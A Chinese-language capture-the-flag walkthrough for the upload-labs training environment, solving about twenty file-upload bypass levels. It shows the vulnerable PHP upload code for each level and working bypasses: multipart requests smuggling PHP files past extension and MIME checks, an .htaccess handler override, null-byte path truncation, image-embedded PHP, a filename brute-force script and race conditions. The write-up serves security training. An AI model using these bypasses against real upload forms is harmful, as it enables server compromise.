upload-labs 题解
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1,851
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0
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ctf
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1883 字
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49 分钟

使用环境

环境的下载与搭建

https://github.com/c0ny1/upload-labs

推荐使用docker配环境太烦了

知识点与参考

1

2

项目作者画的图

推荐阅读:

https://blog.csdn.net/wn314/article/details/77074477

https://blog.csdn.net/wn314/article/details/77388337

https://blog.csdn.net/wn314/article/details/77388289

upload-labs

0x01

客户端检验

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;
        alert(errMsg);
        return false;
    }
}

方法:

先上传符合条件的文件，再bp抓包，修改后缀名，需注意可能要修改请求头中的Content-Length.

POST /Pass-01/index.php HTTP/1.1
Host: 192.168.21.135:8123
Content-Length: 311
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.21.135:8123
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZEvupLzlFsGWVTE2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4115.0 Safari/537.36 Edg/84.0.488.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.21.135:8123/Pass-01/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundaryZEvupLzlFsGWVTE2
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"
Content-Type: image/jpeg

<?php phpinfo();?>

------WebKitFormBoundaryZEvupLzlFsGWVTE2
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryZEvupLzlFsGWVTE2--

访问http://192.168.21.135:8123/upload/phpinfo.php

phpinfo

0x02

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '文件类型不正确，请重新上传！';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建！';
    }
}

payload :

还是第一题http请求,只要MIME符合image/png image/jpg image/gif

0x03

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

需要注意的是 php.ini

# <FilesMatch \.php$>
#       SetHandler application/x-httpd-php
# </FilesMatch>

AddHandler application/x-httpd-php .php .php3 .phtml

DirectoryIndex disabled
DirectoryIndex index.php index.html

<Directory /var/www/>
        Options -Indexes
        AllowOverride All
</Directory>

所以此题可以上传.php3 .phtml文件，并可执行

还有一个问题

$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;

这就需要爆破路径了。配合bp 的爆破模板

data时间有问题emmm需要修改

date_default_timezone_set("Asia/Shanghai");
import requests

url_header="http://192.168.21.135:8123/upload/20200428150054{0}.php3"
for i in range(1000,10000):
    url = url_header.format(i)
    resp = requests.get(url)
    if "phpinfo" not in resp.content:
        continue
    else:
        print(url)
        break

http://192.168.21.135:8123/upload/202004281500541171.php3
[Finished in 0.8s]

0x04

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

当前配置

# <FilesMatch \.php$>
#       SetHandler application/x-httpd-php
# </FilesMatch>

方法1

利用apache2对未知扩展名的特性，从右到左开始解析扩展名，如果无法识别，接着往左识别，知道可以识别。

------WebKitFormBoundaryZEvupLzlFsGWVTE2
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php.a"
Content-Type: image/jpeg

<?php phpinfo();?>

------WebKitFormBoundaryZEvupLzlFsGWVTE2
Content-Disposition: form-data; name="submit"

涓婁紶
------WebKitFormBoundaryZEvupLzlFsGWVTE2--

方法2

此题并没有禁止上传.htaccess文件,所以可以利用.htaccess来修改upload 文件夹下的配置。

.htaccess文件

SetHandler application/x-httpd-php

这时，apache2会解析文件为php文件

------WebKitFormBoundaryZEvupLzlFsGWVTE2
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.jpg"
Content-Type: image/jpeg

<?php phpinfo();?>

------WebKitFormBoundaryZEvupLzlFsGWVTE2
Content-Disposition: form-data; name="submit"

涓婁紶
------WebKitFormBoundaryZEvupLzlFsGWVTE2--

0x05

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

这题使用第四题的第一种方法，不再赘述。

0x06

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

注意文件名的拼接方式为UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;

而不是UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_name

同时在过滤部分少了一个$file_ext = strtolower($file_ext); //转换为小写

所以可以上传后缀名为.PHP的文件

在结合第三题的爆破目录的方法。

result

http://192.168.21.135:8123/upload/202004281019342703.PHP
[Finished in 5.9s]

0x07

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

缺少空格检测，所以可以在文件名后添加一个空格，就可以上传，但问题是无法解析为php文件

在windows环境下倒是可以利用忽视后缀名空格的特性来执行，修改后缀名为.php 注意还是有空格

0x08

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

没有过滤.可以用1.php.来绕过，也可以被解析

Linux和Windows都可以

0x09

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

去除字符串::$DATA

在Windows: http请求头

-----------------------------117554319939046175791880698296
Content-Disposition: form-data; name="upload_file"; filename="2.php::$DATA"
Content-Type: application/octet-stream

<?php
phpinfo();
?>
-----------------------------117554319939046175791880698296
Content-Disposition: form-data; name="submit"

上传
-----------------------------117554319939046175791880698296--

0x10

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

跟前面一样

filename="1.php.aaaa"

0x11

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

str_ireplace() 函数替换字符串中的一些字符（不区分大小写）。

可以改为filename="2.PphpHP"来绕过

0x12

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错！';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
    }
}

strrpos() 函数查找字符串在另一字符串中最后一次出现的位置。

注释：strrpos() 函数对大小写敏感。

substr() 函数返回字符串的一部分。

利用save_path和字符截取

POST /useful/upload-labs/Pass-12/index.php?save_path=../upload/1.php%00 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------21418754013159453003836065548
Content-Length: 380
Origin: http://localhost
Connection: close
Referer: http://localhost/useful/upload-labs/Pass-12/index.php
Cookie: PHPSESSID=cf8866b68661c1bc05d55b19c383afae
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1

-----------------------------21418754013159453003836065548
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.jpg"
Content-Type: application/octet-stream

<?php
phpinfo();
?>
-----------------------------21418754013159453003836065548
Content-Disposition: form-data; name="submit"

上传
-----------------------------21418754013159453003836065548--

0x13

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件！";
    }
}

先在后面添加一个空格，再在二进制改

3.php

4.png

0x14

hint：

上传图片马到服务器。

注意：

1.保证上传后的图片马中仍然包含完整的一句话或webshell代码。

2.使用文件包含漏洞能运行图片马中的恶意代码。

3.图片马要.jpg,.png,.gif三种后缀都上传成功才算过关！

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);  //unpack() 函数从二进制字符串对数据进行解包。   
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    //intval() 函数用于获取变量的整数值。 
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知，上传失败！";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错！";
        }
    }
}

include.php

<?php
/*
本页面存在文件包含漏洞，用于测试图片马是否能正常运行！
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?>

考点是生产图片马

cmd 命令

copy 1.jpg/b+1.php/a 3.jpg

同样需要bp+python 来爆破目录

wehshell_gif.gif

gif

wehshell_jpg.jpg

jpg

wehshell_png.png

png

0x15

与上一题相仿，可以采用相同的方法

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知，上传失败！";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错！";
        }
    }
}

0x16

14的payload 

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知，上传失败！";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错！";
        }
    }
}

exif

0x17 二次渲染

直接用图片马不行

if (isset($_POST['submit'])){
    // 获得上传文件的基本信息，文件名，类型，大小，临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型，合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片！";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错！";
        }

payload:

POST /Pass-17/index.php?action=show_code HTTP/1.1
Host: 192.168.21.135:8123
Content-Length: 311
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.21.135:8123
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary627hH4npNd2uQa4B
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4115.0 Safari/537.36 Edg/84.0.488.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.21.135:8123/Pass-17/index.php?action=show_code
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundary627hH4npNd2uQa4B
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.jpg"
Content-Type: image/jpeg

<?php phpinfo();?>

------WebKitFormBoundary627hH4npNd2uQa4B
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundary627hH4npNd2uQa4B--

0x18

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件！";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错！';
    }
}
  • 条件竞争

本题会先保存文件，之后判断后缀名，重命名文件。

1

2

php

0x19

代码审计

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;  // path =  dir + name
            break;
        case 2:
            $msg = '文件已经被上传，但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败，上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败，无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败，上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败，服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传，文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误！';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){

    $ret = $this->isUploadedFile();

    if( $ret != 1 ){  //这个文件不能上传到服务器的临时文件存储目录。。
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){//上传失败，上传目录不可写。
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension(); //检查后缀名
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();//上传失败，无法上传该类型文件。'
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // if flag to check if the file exists is set to 1

    if( $this->cls_file_exists == 1 ){

      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){  //从tmp文件移到upload，否则无法访问，也就是说要前面条件都符合才行。
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );

  }
......
......
...... 
};

思路是利用条件竞争，使rename较慢执行，同时bp访问upload1.php.rar、利用apache2的特性，生成新的文件phpinfo.php，维持联系。

记录一个坑点，试了还久，才发现前面还有一个upload前缀 ，我去，怪不得无法生产phpinfo.php, 我实属瞎子 /(ㄒoㄒ)/~~ 怀疑是没加/ 正常不应该在upload文件夹下吗？

1.php.rar

200

访问1.php.rar以生成phpinfo.php

1.php.rar

phpinfo

0x20

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错！';
            }
        }else{
            $msg = '禁止保存为该类型文件！';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}
php > print_r(pathinfo("/testweb/test.txt.php"));
Array
(
    [dirname] => /testweb
    [basename] => test.txt.php
    [extension] => php
    [filename] => test.txt
)

payload:

直接利用apache2特性

POST /Pass-20/index.php HTTP/1.1
Host: 192.168.21.135:8123
Content-Length: 428
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.21.135:8123
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7CfGfgBPFmA65LPV
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4115.0 Safari/537.36 Edg/84.0.488.1
